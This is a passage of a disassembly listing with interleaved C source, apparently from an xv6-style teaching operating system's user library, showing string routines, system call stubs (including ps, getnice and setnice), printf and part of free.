f1 mov %esi,%ecx c3: 38 d8 cmp %bl,%al c5: 74 e9 je b0 <strcmp+0x20> p++, q++; return (uchar)*p - (uchar)*q; c7: 29 d8 sub %ebx,%eax } c9: 5b pop %ebx ca: 5e pop %esi cb: 5d pop %ebp cc: c3 ret cd: 8d 76 00 lea 0x0(%esi),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) d0: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; d2: 29 d8 sub %ebx,%eax } d4: 5b pop %ebx d5: 5e pop %esi d6: 5d pop %ebp d7: c3 ret d8: 90 nop d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000000e0 <strlen>: uint strlen(char *s) { e0: 55 push %ebp e1: 89 e5 mov %esp,%ebp e3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) e6: 80 39 00 cmpb $0x0,(%ecx) e9: 74 12 je fd <strlen+0x1d> eb: 31 d2 xor %edx,%edx ed: 8d 76 00 lea 0x0(%esi),%esi f0: 83 c2 01 add $0x1,%edx f3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) f7: 89 d0 mov %edx,%eax f9: 75 f5 jne f0 <strlen+0x10> ; return n; } fb: 5d pop %ebp fc: c3 ret uint strlen(char *s) { int n; for(n = 0; s[n]; n++) fd: 31 c0 xor %eax,%eax ; return n; } ff: 5d pop %ebp 100: c3 ret 101: eb 0d jmp 110 <memset> 103: 90 nop 104: 90 nop 105: 90 nop 106: 90 nop 107: 90 nop 108: 90 nop 109: 90 nop 10a: 90 nop 10b: 90 nop 10c: 90 nop 10d: 90 nop 10e: 90 nop 10f: 90 nop 00000110 <memset>: void* memset(void *dst, int c, uint n) { 110: 55 push %ebp 111: 89 e5 mov %esp,%ebp 113: 57 push %edi 114: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 117: 8b 4d 10 mov 0x10(%ebp),%ecx 11a: 8b 45 0c mov 0xc(%ebp),%eax 11d: 89 d7 mov %edx,%edi 11f: fc cld 120: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 122: 89 d0 mov %edx,%eax 124: 5f pop %edi 125: 5d pop %ebp 126: c3 ret 127: 89 f6 mov %esi,%esi 129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000130 <strchr>: char* strchr(const char *s, char c) { 130: 55 push %ebp 131: 89 e5 mov %esp,%ebp 133: 53 push %ebx 134: 8b 45 08 mov 0x8(%ebp),%eax 137: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 13a: 0f b6 10 movzbl (%eax),%edx 13d: 84 d2 test %dl,%dl 13f: 74 1d je 15e <strchr+0x2e> if(*s == c) 141: 38 d3 cmp %dl,%bl 143: 89 d9 mov %ebx,%ecx 145: 75 0d jne 154 <strchr+0x24> 147: eb 17 jmp 160 <strchr+0x30> 149: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 150: 38 ca cmp %cl,%dl 152: 74 0c je 160 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 154: 83 c0 01 add $0x1,%eax 157: 0f b6 10 movzbl (%eax),%edx 15a: 84 d2 test %dl,%dl 15c: 75 f2 jne 150 <strchr+0x20> if(*s == c) return (char*)s; return 0; 15e: 31 c0 xor %eax,%eax } 160: 5b pop %ebx 161: 5d pop %ebp 162: c3 ret 163: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000170 <gets>: char* gets(char *buf, int max) { 170: 55 push %ebp 171: 89 e5 mov %esp,%ebp 173: 57 push %edi 174: 56 push %esi 175: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 176: 31 f6 xor %esi,%esi cc = read(0, &c, 1); 178: 8d 7d e7 lea -0x19(%ebp),%edi return 0; } char* gets(char *buf, int max) { 17b: 83 ec 1c sub $0x1c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 17e: eb 29 jmp 1a9 <gets+0x39> cc = read(0, &c, 1); 180: 83 ec 04 sub $0x4,%esp 183: 6a 01 push $0x1 185: 57 push %edi 186: 6a 00 push $0x0 188: e8 2d 01 00 00 call 2ba <read> if(cc < 1) 18d: 83 c4 10 add $0x10,%esp 190: 85 c0 test %eax,%eax 192: 7e 1d jle 1b1 <gets+0x41> break; buf[i++] = c; 194: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 198: 8b 55 08 mov 0x8(%ebp),%edx 19b: 89 de mov %ebx,%esi if(c == '\n' || c == '\r') 19d: 3c 0a cmp $0xa,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 19f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 1a3: 74 1b je 1c0 <gets+0x50> 1a5: 3c 0d cmp $0xd,%al 1a7: 74 17 je 1c0 <gets+0x50> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1a9: 8d 5e 01 lea 0x1(%esi),%ebx 1ac: 3b 5d 0c cmp 0xc(%ebp),%ebx 1af: 7c cf jl 180 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1b1: 8b 45 08 mov 0x8(%ebp),%eax 1b4: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 1b8: 8d 65 f4 lea -0xc(%ebp),%esp 1bb: 5b pop %ebx 1bc: 5e pop %esi 1bd: 5f pop %edi 1be: 5d pop %ebp 1bf: c3 ret break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1c0: 8b 45 08 mov 0x8(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1c3: 89 de mov %ebx,%esi break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1c5: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 1c9: 8d 65 f4 lea -0xc(%ebp),%esp 1cc: 5b pop %ebx 1cd: 5e pop %esi 1ce: 5f pop %edi 1cf: 5d pop %ebp 1d0: c3 ret 1d1: eb 0d jmp 1e0 <stat> 1d3: 90 nop 1d4: 90 nop 1d5: 90 nop 1d6: 90 nop 1d7: 90 nop 1d8: 90 nop 1d9: 90 nop 1da: 90 nop 1db: 90 nop 1dc: 90 nop 1dd: 90 nop 1de: 90 nop 1df: 90 nop 000001e0 <stat>: int stat(char *n, struct stat *st) { 1e0: 55 push %ebp 1e1: 89 e5 mov %esp,%ebp 1e3: 56 push %esi 1e4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 1e5: 83 ec 08 sub $0x8,%esp 1e8: 6a 00 push $0x0 1ea: ff 75 08 pushl 0x8(%ebp) 1ed: e8 f0 00 00 00 call 2e2 <open> if(fd < 0) 1f2: 83 c4 10 add $0x10,%esp 1f5: 85 c0 test %eax,%eax 1f7: 78 27 js 220 <stat+0x40> return -1; r = fstat(fd, st); 1f9: 83 ec 08 sub $0x8,%esp 1fc: ff 75 0c pushl 0xc(%ebp) 1ff: 89 c3 mov %eax,%ebx 201: 50 push %eax 202: e8 f3 00 00 00 call 2fa <fstat> 207: 89 c6 mov %eax,%esi close(fd); 209: 89 1c 24 mov %ebx,(%esp) 20c: e8 b9 00 00 00 call 2ca <close> return r; 211: 83 c4 10 add $0x10,%esp 214: 89 f0 mov %esi,%eax } 216: 8d 65 f8 lea -0x8(%ebp),%esp 219: 5b pop %ebx 21a: 5e pop %esi 21b: 5d pop %ebp 21c: c3 ret 21d: 8d 76 00 lea 0x0(%esi),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 220: b8 ff ff ff ff mov $0xffffffff,%eax 225: eb ef jmp 216 <stat+0x36> 227: 89 f6 mov %esi,%esi 229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000230 <atoi>: return r; } int atoi(const char *s) { 230: 55 push %ebp 231: 89 e5 mov %esp,%ebp 233: 53 push %ebx 234: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 237: 0f be 11 movsbl (%ecx),%edx 23a: 8d 42 d0 lea -0x30(%edx),%eax 23d: 3c 09 cmp $0x9,%al 23f: b8 00 00 00 00 mov $0x0,%eax 244: 77 1f ja 265 <atoi+0x35> 246: 8d 76 00 lea 0x0(%esi),%esi 249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 250: 8d 04 80 lea (%eax,%eax,4),%eax 253: 83 c1 01 add $0x1,%ecx 256: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 25a: 0f be 11 movsbl (%ecx),%edx 25d: 8d 5a d0 lea -0x30(%edx),%ebx 260: 80 fb 09 cmp $0x9,%bl 263: 76 eb jbe 250 <atoi+0x20> n = n*10 + *s++ - '0'; return n; } 265: 5b pop %ebx 266: 5d pop %ebp 267: c3 ret 268: 90 nop 269: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000270 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 270: 55 push %ebp 271: 89 e5 mov %esp,%ebp 273: 56 push %esi 274: 53 push %ebx 275: 8b 5d 10 mov 0x10(%ebp),%ebx 278: 8b 45 08 mov 0x8(%ebp),%eax 27b: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 27e: 85 db test %ebx,%ebx 280: 7e 14 jle 296 <memmove+0x26> 282: 31 d2 xor %edx,%edx 284: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 288: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 28c: 88 0c 10 mov %cl,(%eax,%edx,1) 28f: 83 c2 01 add $0x1,%edx { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 292: 39 da cmp %ebx,%edx 294: 75 f2 jne 288 <memmove+0x18> *dst++ = *src++; return vdst; } 296: 5b pop %ebx 297: 5e pop %esi 298: 5d pop %ebp 299: c3 ret 0000029a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 29a: b8 01 00 00 00 mov $0x1,%eax 29f: cd 40 int $0x40 2a1: c3 ret 000002a2 <exit>: SYSCALL(exit) 2a2: b8 02 00 00 00 mov $0x2,%eax 2a7: cd 40 int $0x40 2a9: c3 ret 000002aa <wait>: SYSCALL(wait) 2aa: b8 03 00 00 00 mov $0x3,%eax 2af: cd 40 int $0x40 2b1: c3 ret 000002b2 <pipe>: SYSCALL(pipe) 2b2: b8 04 00 00 00 mov $0x4,%eax 2b7: cd 40 int $0x40 2b9: c3 ret 000002ba <read>: SYSCALL(read) 2ba: b8 05 00 00 00 mov $0x5,%eax 2bf: cd 40 int $0x40 2c1: c3 ret 000002c2 <write>: SYSCALL(write) 2c2: b8 10 00 00 00 mov $0x10,%eax 2c7: cd 40 int $0x40 2c9: c3 ret 000002ca <close>: SYSCALL(close) 2ca: b8 15 00 00 00 mov $0x15,%eax 2cf: cd 40 int $0x40 2d1: c3 ret 000002d2 <kill>: SYSCALL(kill) 2d2: b8 06 00 00 00 mov $0x6,%eax 2d7: cd 40 int $0x40 2d9: c3 ret 000002da <exec>: SYSCALL(exec) 2da: b8 07 00 00 00 mov $0x7,%eax 2df: cd 40 int $0x40 2e1: c3 ret 000002e2 <open>: SYSCALL(open) 2e2: b8 0f 00 00 00 mov $0xf,%eax 2e7: cd 40 int $0x40 2e9: c3 ret 000002ea <mknod>: SYSCALL(mknod) 2ea: b8 11 00 00 00 mov $0x11,%eax 2ef: cd 40 int $0x40 2f1: c3 ret 000002f2 <unlink>: SYSCALL(unlink) 2f2: b8 12 00 00 00 mov $0x12,%eax 2f7: cd 40 int $0x40 2f9: c3 ret 000002fa <fstat>: SYSCALL(fstat) 2fa: b8 08 00 00 00 mov $0x8,%eax 2ff: cd 40 int $0x40 301: c3 ret 00000302 <link>: SYSCALL(link) 302: b8 13 00 00 00 mov $0x13,%eax 307: cd 40 int $0x40 309: c3 ret 0000030a <mkdir>: SYSCALL(mkdir) 30a: b8 14 00 00 00 mov $0x14,%eax 30f: cd 40 int $0x40 311: c3 ret 00000312 <chdir>: SYSCALL(chdir) 312: b8 09 00 00 00 mov $0x9,%eax 317: cd 40 int $0x40 319: c3 ret 0000031a <dup>: SYSCALL(dup) 31a: b8 0a 00 00 00 mov $0xa,%eax 31f: cd 40 int $0x40 321: c3 ret 00000322 <getpid>: SYSCALL(getpid) 322: b8 0b 00 00 00 mov $0xb,%eax 327: cd 40 int $0x40 329: c3 ret 0000032a <sbrk>: SYSCALL(sbrk) 32a: b8 0c 00 00 00 mov $0xc,%eax 32f: cd 40 int $0x40 331: c3 ret 00000332 <sleep>: SYSCALL(sleep) 332: b8 0d 00 00 00 mov $0xd,%eax 337: cd 40 int $0x40 339: c3 ret 0000033a <uptime>: SYSCALL(uptime) 33a: b8 0e 00 00 00 mov $0xe,%eax 33f: cd 40 int $0x40 341: c3 ret 00000342 <halt>: SYSCALL(halt) 342: b8 16 00 00 00 mov $0x16,%eax 347: cd 40 int $0x40 349: c3 ret 0000034a <ps>: SYSCALL(ps) 34a: b8 17 00 00 00 mov $0x17,%eax 34f: cd 40 int $0x40 351: c3 ret 00000352 <getnice>: SYSCALL(getnice) 352: b8 18 00 00 00 mov $0x18,%eax 357: cd 40 int $0x40 359: c3 ret 0000035a <setnice>: SYSCALL(setnice) 35a: b8 19 00 00 00 mov $0x19,%eax 35f: cd 40 int $0x40 361: c3 ret 362: 66 90 xchg %ax,%ax 364: 66 90 xchg %ax,%ax 366: 66 90 xchg %ax,%ax 368: 66 90 xchg %ax,%ax 36a: 66 90 xchg %ax,%ax 36c: 66 90 xchg %ax,%ax 36e: 66 90 xchg %ax,%ax 00000370 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 370: 55 push %ebp 371: 89 e5 mov %esp,%ebp 373: 57 push %edi 374: 56 push %esi 375: 53 push %ebx 376: 89 c6 mov %eax,%esi 378: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 37b: 8b 5d 08 mov 0x8(%ebp),%ebx 37e: 85 db test %ebx,%ebx 380: 74 7e je 400 <printint+0x90> 382: 89 d0 mov %edx,%eax 384: c1 e8 1f shr $0x1f,%eax 387: 84 c0 test %al,%al 389: 74 75 je 400 <printint+0x90> neg = 1; x = -xx; 38b: 89 d0 mov %edx,%eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 38d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) x = -xx; 394: f7 d8 neg %eax 396: 89 75 c0 mov %esi,-0x40(%ebp) } else { x = xx; } i = 0; 399: 31 ff xor %edi,%edi 39b: 8d 5d d7 lea -0x29(%ebp),%ebx 39e: 89 ce mov %ecx,%esi 3a0: eb 08 jmp 3aa <printint+0x3a> 3a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 3a8: 89 cf mov %ecx,%edi 3aa: 31 d2 xor %edx,%edx 3ac: 8d 4f 01 lea 0x1(%edi),%ecx 3af: f7 f6 div %esi 3b1: 0f b6 92 4c 07 00 00 movzbl 0x74c(%edx),%edx }while((x /= base) != 0); 3b8: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 3ba: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 3bd: 75 e9 jne 3a8 <printint+0x38> if(neg) 3bf: 8b 45 c4 mov -0x3c(%ebp),%eax 3c2: 8b 75 c0 mov -0x40(%ebp),%esi 3c5: 85 c0 test %eax,%eax 3c7: 74 08 je 3d1 <printint+0x61> buf[i++] = '-'; 3c9: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1) 3ce: 8d 4f 02 lea 0x2(%edi),%ecx 3d1: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi 3d5: 8d 76 00 lea 0x0(%esi),%esi 3d8: 0f b6 07 movzbl (%edi),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 3db: 83 ec 04 sub $0x4,%esp 3de: 83 ef 01 sub $0x1,%edi 3e1: 6a 01 push $0x1 3e3: 53 push %ebx 3e4: 56 push %esi 3e5: 88 45 d7 mov %al,-0x29(%ebp) 3e8: e8 d5 fe ff ff call 2c2 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 3ed: 83 c4 10 add $0x10,%esp 3f0: 39 df cmp %ebx,%edi 3f2: 75 e4 jne 3d8 <printint+0x68> putc(fd, buf[i]); } 3f4: 8d 65 f4 lea -0xc(%ebp),%esp 3f7: 5b pop %ebx 3f8: 5e pop %esi 3f9: 5f pop %edi 3fa: 5d pop %ebp 3fb: c3 ret 3fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; } else { x = xx; 400: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 402: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 409: eb 8b jmp 396 <printint+0x26> 40b: 90 nop 40c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000410 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 410: 55 push %ebp 411: 89 e5 mov %esp,%ebp 413: 57 push %edi 414: 56 push %esi 415: 53 push %ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 416: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 419: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 41c: 8b 75 0c mov 0xc(%ebp),%esi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 41f: 8b 7d 08 mov 0x8(%ebp),%edi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 422: 89 45 d0 mov %eax,-0x30(%ebp) 425: 0f b6 1e movzbl (%esi),%ebx 428: 83 c6 01 add $0x1,%esi 42b: 84 db test %bl,%bl 42d: 0f 84 b0 00 00 00 je 4e3 <printf+0xd3> 433: 31 d2 xor %edx,%edx 435: eb 39 jmp 470 <printf+0x60> 437: 89 f6 mov %esi,%esi 439: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 440: 83 f8 25 cmp $0x25,%eax 443: 89 55 d4 mov %edx,-0x2c(%ebp) state = '%'; 446: ba 25 00 00 00 mov $0x25,%edx state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 44b: 74 18 je 465 <printf+0x55> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 44d: 8d 45 e2 lea -0x1e(%ebp),%eax 450: 83 ec 04 sub $0x4,%esp 453: 88 5d e2 mov %bl,-0x1e(%ebp) 456: 6a 01 push $0x1 458: 50 push %eax 459: 57 push %edi 45a: e8 63 fe ff ff call 2c2 <write> 45f: 8b 55 d4 mov -0x2c(%ebp),%edx 462: 83 c4 10 add $0x10,%esp 465: 83 c6 01 add $0x1,%esi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 468: 0f b6 5e ff movzbl -0x1(%esi),%ebx 46c: 84 db test %bl,%bl 46e: 74 73 je 4e3 <printf+0xd3> c = fmt[i] & 0xff; if(state == 0){ 470: 85 d2 test %edx,%edx uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 472: 0f be cb movsbl %bl,%ecx 475: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 478: 74 c6 je 440 <printf+0x30> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 47a: 83 fa 25 cmp $0x25,%edx 47d: 75 e6 jne 465 <printf+0x55> if(c == 'd'){ 47f: 83 f8 64 cmp $0x64,%eax 482: 0f 84 f8 00 00 00 je 580 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 488: 81 e1 f7 00 00 00 and $0xf7,%ecx 48e: 83 f9 70 cmp $0x70,%ecx 491: 74 5d je 4f0 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 493: 83 f8 73 cmp $0x73,%eax 496: 0f 84 84 00 00 00 je 520 <printf+0x110> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 49c: 83 f8 63 cmp $0x63,%eax 49f: 0f 84 ea 00 00 00 je 58f <printf+0x17f> putc(fd, *ap); ap++; } else if(c == '%'){ 4a5: 83 f8 25 cmp $0x25,%eax 4a8: 0f 84 c2 00 00 00 je 570 <printf+0x160> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4ae: 8d 45 e7 lea -0x19(%ebp),%eax 4b1: 83 ec 04 sub $0x4,%esp 4b4: c6 45 e7 25 movb $0x25,-0x19(%ebp) 4b8: 6a 01 push $0x1 4ba: 50 push %eax 4bb: 57 push %edi 4bc: e8 01 fe ff ff call 2c2 <write> 4c1: 83 c4 0c add $0xc,%esp 4c4: 8d 45 e6 lea -0x1a(%ebp),%eax 4c7: 88 5d e6 mov %bl,-0x1a(%ebp) 4ca: 6a 01 push $0x1 4cc: 50 push %eax 4cd: 57 push %edi 4ce: 83 c6 01 add $0x1,%esi 4d1: e8 ec fd ff ff call 2c2 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4d6: 0f b6 5e ff movzbl -0x1(%esi),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4da: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 4dd: 31 d2 xor %edx,%edx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4df: 84 db test %bl,%bl 4e1: 75 8d jne 470 <printf+0x60> putc(fd, c); } state = 0; } } } 4e3: 8d 65 f4 lea -0xc(%ebp),%esp 4e6: 5b pop %ebx 4e7: 5e pop %esi 4e8: 5f pop %edi 4e9: 5d pop %ebp 4ea: c3 ret 4eb: 90 nop 4ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 4f0: 83 ec 0c sub $0xc,%esp 4f3: b9 10 00 00 00 mov $0x10,%ecx 4f8: 6a 00 push $0x0 4fa: 8b 5d d0 mov -0x30(%ebp),%ebx 4fd: 89 f8 mov %edi,%eax 4ff: 8b 13 mov (%ebx),%edx 501: e8 6a fe ff ff call 370 <printint> ap++; 506: 89 d8 mov %ebx,%eax 508: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 50b: 31 d2 xor %edx,%edx if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; 50d: 83 c0 04 add $0x4,%eax 510: 89 45 d0 mov %eax,-0x30(%ebp) 513: e9 4d ff ff ff jmp 465 <printf+0x55> 518: 90 nop 519: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 520: 8b 45 d0 mov -0x30(%ebp),%eax 523: 8b 18 mov (%eax),%ebx ap++; 525: 83 c0 04 add $0x4,%eax 528: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) s = "(null)"; 52b: b8 44 07 00 00 mov $0x744,%eax 530: 85 db test %ebx,%ebx 532: 0f 44 d8 cmove %eax,%ebx while(*s != 0){ 535: 0f b6 03 movzbl (%ebx),%eax 538: 84 c0 test %al,%al 53a: 74 23 je 55f <printf+0x14f> 53c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 540: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 543: 8d 45 e3 lea -0x1d(%ebp),%eax 546: 83 ec 04 sub $0x4,%esp 549: 6a 01 push $0x1 ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 54b: 83 c3 01 add $0x1,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 54e: 50 push %eax 54f: 57 push %edi 550: e8 6d fd ff ff call 2c2 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 555: 0f b6 03 movzbl (%ebx),%eax 558: 83 c4 10 add $0x10,%esp 55b: 84 c0 test %al,%al 55d: 75 e1 jne 540 <printf+0x130> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 55f: 31 d2 xor %edx,%edx 561: e9 ff fe ff ff jmp 465 <printf+0x55> 566: 8d 76 00 lea 0x0(%esi),%esi 569: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 570: 83 ec 04 sub $0x4,%esp 573: 88 5d e5 mov %bl,-0x1b(%ebp) 576: 8d 45 e5 lea -0x1b(%ebp),%eax 579: 6a 01 push $0x1 57b: e9 4c ff ff ff jmp 4cc <printf+0xbc> } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 580: 83 ec 0c sub $0xc,%esp 583: b9 0a 00 00 00 mov $0xa,%ecx 588: 6a 01 push $0x1 58a: e9 6b ff ff ff jmp 4fa <printf+0xea> 58f: 8b 5d d0 mov -0x30(%ebp),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 592: 83 ec 04 sub $0x4,%esp 595: 8b 03 mov (%ebx),%eax 597: 6a 01 push $0x1 599: 88 45 e4 mov %al,-0x1c(%ebp) 59c: 8d 45 e4 lea -0x1c(%ebp),%eax 59f: 50 push %eax 5a0: 57 push %edi 5a1: e8 1c fd ff ff call 2c2 <write> 5a6: e9 5b ff ff ff jmp 506 <printf+0xf6> 5ab: 66 90 xchg %ax,%ax 5ad: 66 90 xchg %ax,%ax 5af: 90 nop 000005b0 <free>: static Header base; static Header *freep; void free(void *ap) { 5b0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5b1: a1 f0 09 00 00 mov 0x9f0,%eax static Header base; static Header *freep; void free(void *ap) { 5b6: 89 e5 mov %esp,%ebp 5b8: 57 push %edi 5b9: 56 push %esi 5ba: 53 push %ebx 5bb: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5be: 8b 10 mov (%eax),%edx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 5c0: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5c3: 39 c8 cmp %ecx,%eax 5c5: 73 19 jae 5e0 <free+0x30> 5c7: 89 f6 mov %esi,%esi 5c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 5d0: 39 d1 cmp %edx,%ecx 5d2: 72 1c jb 5f0 <free+0x40> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5d4: 39 d0 cmp %edx,%eax 5d6: 73 18 jae 5f0 <free+0x40> static Header base; static Header *freep; void free(void *ap) { 5d8: 89 d0 mov %edx,%eax Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5da: 39 c8 cmp %ecx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5dc: 8b 10 mov (%eax),%edx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5de: 72 f0 jb 5d0 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5e0: 39 d0 cmp %edx,%eax 5e2: 72 f4 jb 5d8 <free+0x28> 5e4: 39 d1 cmp %edx,%ecx 5e6: 73 f0 jae 5d8 <free+0x28> 5e8: 90 nop 5e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; if(bp + bp->s.size == p->s.ptr){ 5f0: 8b 73 fc mov -0x4(%ebx),%esi 5f3: 8d 3c f1 lea (%ecx,%esi,8),%edi 5f6: 39 d7 cmp %edx,%edi 5f8: 74 19 je 613 <free+0x63> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 5fa: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 5fd: 8b 50 04 mov 